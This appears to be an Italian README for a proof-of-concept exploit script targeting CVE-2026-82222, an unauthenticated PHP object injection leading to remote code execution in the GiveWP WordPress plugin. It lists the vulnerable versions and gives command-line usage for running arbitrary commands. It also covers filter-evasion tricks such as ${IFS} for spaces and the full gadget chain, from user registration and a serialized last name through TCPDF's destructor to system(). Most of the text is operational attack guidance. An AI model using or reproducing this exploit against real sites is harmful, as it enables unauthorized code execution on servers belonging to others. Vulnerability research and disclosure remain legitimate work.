
Proof-of-concept exploit per CVE-2026-82222, un'iniezione di oggetti PHP non autenticata che porta all'esecuzione remota di codice nel plugin WordPress GiveWP fino alla versione 4.16.7.1.
| Intervallo | Raggiungibile? |
|---|
<= 4.16.5.1 | Installazione predefinita. Un modulo pubblicato, un gateway attivo. |
4.16.6 a 4.16.7.1 | Sì, se esiste un modulo legacy (non V3). Un'installazione nuova solo V3 non lo è. |
Python 3.8+ e requests.
pip install requests
python cve-2026-82222.py http://127.0.0.1:8080
python cve-2026-82222.py http://127.0.0.1:8080 --check
python cve-2026-82222.py http://127.0.0.1:8080 42 -c id
python cve-2026-82222.py http://127.0.0.1:8080 -g offline
-c predefinito su id. Nessun < > & % nel comando; gli spazi diventano ${IFS}.
Passa un ID modulo se il rilevamento fallisce. Passa -g se lo script non riesce a trovare un gateway abilitato.
La richiesta di donazione spesso restituisce HTTP 500 o va in timeout. È previsto. La scrittura della sessione avviene per prima. L'output di system() è nella richiesta successiva (/?give_action=view_receipt e simili), non in un file su disco.
python cve-2026-82222.py -h per il resto.
POST give_action=user_register. GiveWP crea l'account e imposta un cookie di autenticazione. Non consulta users_can_register.last_name tramite /wp-admin/profile.php.give_last. process-donation.php legge il nome da usermeta, esegue maybeSafeUnserialize (allowed_classes => false) e scrive __PHP_Incomplete_Class in wp_give_sessions. PHP riemette i byte originali dell'oggetto durante l'operazione.TCPDF::__destruct() raggiunge call_user_func_array('system', [cmd]). Lo stdout è in quella risposta.TCPDF.__destruct()
-> Symfony Session.getIterator()
-> Give\TestData ProviderForwarder.__call()
-> call_user_func_array('system', [cmd])
pre_user_last_name rimuove i NUL, quindi le proprietà del gadget non vengono alterate. I backslash vengono quadruplicati per sopravvivere a stripslashes_deep e poi a removeBackslashes.
MIT. Vedi LICENSE.